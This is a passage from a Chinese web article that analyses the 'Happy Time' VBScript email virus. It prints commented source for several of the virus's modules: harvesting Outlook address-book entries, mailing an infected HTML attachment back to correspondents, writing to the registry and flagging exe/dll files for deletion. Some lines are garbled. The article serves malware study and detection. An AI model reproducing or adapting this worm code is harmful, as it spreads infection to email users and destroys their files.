CreateObject("WScript.Shell")
’创建对象
R.RegWrite k, v
End Sub
’******************************************************************
Function Rg(v) 
’读注册表
Dim R
On Error Resume Next
Set R = CreateObject("WScript.Shell")
’创建对象
Rg = R.RegRead(v)
End Function
’******************************************************************
Function IsVbs() 
’此函数判断是不是VBS文件
Dim ErrTest
On Error Resume Next
ErrTest = WScript.ScriptFullname
If Err Then 
’如果出错，则不是VBS
IsVbs = False
Else
IsVbs = True
End If
End Function
’******************************************************************
Function IsHTML() 
’此函数判断是不是Html文件
Dim ErrTest
On Error Resume Next
ErrTest = document.Location
If Er Then
IsHTML = False
’如果出错，则不是超文本
Else
IsHTML = True
End If
End Function

’******************************************************************
Function IsMail(S)
’此函数判断是不是邮件地址
Dim m1, m2
IsMail = False
If InStr(S, vbCrLf) = 0 Then 
’返回vbCrLf在S中第一次出现的位置, vbCrLf是换行符
m1 = InStr(S, "@") 
m2 = InStr(S, ".")
If m1 <> 0 And m1 < m2 Then 
’如果有“@”符号且“@”在“."之前，则是邮件地址
IsMail = True
End If
End If
End Function
’******************************************************************
Function Gsf() 
’得到windows目录
Dim Of, m
On Error Resume Next
Set Of = CreateObject("Scripting.FileSystemObject")
’创建FileSystemObject对象
m = Of.GetSpecialFolder(0)
’得到特殊目录——Windows、System和Temp目录
If Er Then 
’如果失败，返回C:/
Gsf = "C:/"
Else 
’若正常，则返回%Windows%
Gsf = m
End If
End Function
’******************************************************************
Function Lhtml() 
’写入超文本的内容，其中vbCrLf是换行符
Lhtml = "<" & "HTML" & ">"<" & "Title> Help "<" & "Body> " & Lscript(Lvbs()) & vbCrLf & _
"<" & "/Body>End Function
’******************************************************************
Function Lscript(S) 
’写入vbscript的声明
Lscript = "<" & "script language=’VBScript’>" & vbCrLf & _
S & "<" & "/script" & ">"
End Function
’******************************************************************
Function Sl(S1, S2, n) 
Dim l1, l2, l3, i
l1 = Len(S1) 
’得到文件流的长度 
l2 = Len(S2) 
’得到mailto:的长度
i = InStr(S1, S2) 
’在文件流中查找mailto:第一次出现的位置——值为一个数
If i > 0 Then 
’找到则进行字符串爱作
l3 = i + l2 - 1
If n = 0 Then
Sl = Left(S1, i - 1)
ElseIf n = 1 Then
Sl = Right(S1, l1 - l3)
End If
Else
Sl = ""
End If
End Function

’******************************************************************
Function Og() 
’得到WAB（通讯簿）中的邮件地址
Dim i, n, m(), Om, Oo
Set Oo = CreateObject("Outlook.Application")
’创建Outlook应用程序对象，Outlook和Outlook Express都跑不掉啦！
Set Om = Oo.GetNamespace("MAPI").GetDefaultFolder(10).Items
n = Om.Count
ReDim m(n)
For i = 1 To n
m(i - 1) = Om.Item(i).Email1Address
得到每个WAB中的邮件地址
Next
Og = m
End Function
’******************************************************************
Sub Tsend() 
’发带毒邮件
Dim Od, MS, MM, a, m
Set Od = CreateObject("Scripting.Dictionary")
MConnect MS, MM
MM.FetchSorted = True
MM.Fetch
For i = 0 To MM.MsgCount - 1
MM.MsgIndex = i
a = MM.MsgOrigAddress
If Od.Item(a) = "" Then
Od.Item(a) = MM.MsgSubject
End If
Next
For Each m In Od.Keys
MM.Compose
MM.MsgSubject = "Fw: " & Od.Item(m)
’设置邮件标题
MM.RecipAddress = m
’此邮件的当前的目标邮件地址
MM.AttachmentPathName = Gsf & "/Untitled.htm"
’添加附件Windows/Untitled.htm
MM.Send
’发送！
Next
MS.SignOff
End Sub
’******************************************************************
Function Er() 
’设置的错误陷阱，避免程序崩溃，严谨的风格值得学习
If Err.Number = 0 Then
Er = False
Else
Err.Clear
Er = True
End If
End Function
’******************************************************************
Function IsDel(S) 
’此函数查看当前文件是否是要删除的文件类型
If Mid(S, 4, 1) = 1 Then 
’看S的第四个字符是否是1——即是0001(exe和dll)
IsDel = True 
’如是，返回True，以备删除
Else
IsDel = False 
’如不是，返回False
End If
End Function
’******************************************************************

于安全上的考虑，上面只登出了技术上比较新颖和重要的几个模块供大家研究和学习之用。从代码中大家可以看到，“欢乐时光”也采用了“爱虫”的FileSystemObject（文件系统对象）的技术，这也几乎是所有VBS邮件病毒必不可少的部分。因此如果杀毒软件监视所有Html和Vbs中的FileSystemObject关键字，几乎可以

上一页  [1] [2] [3] [4]  下一页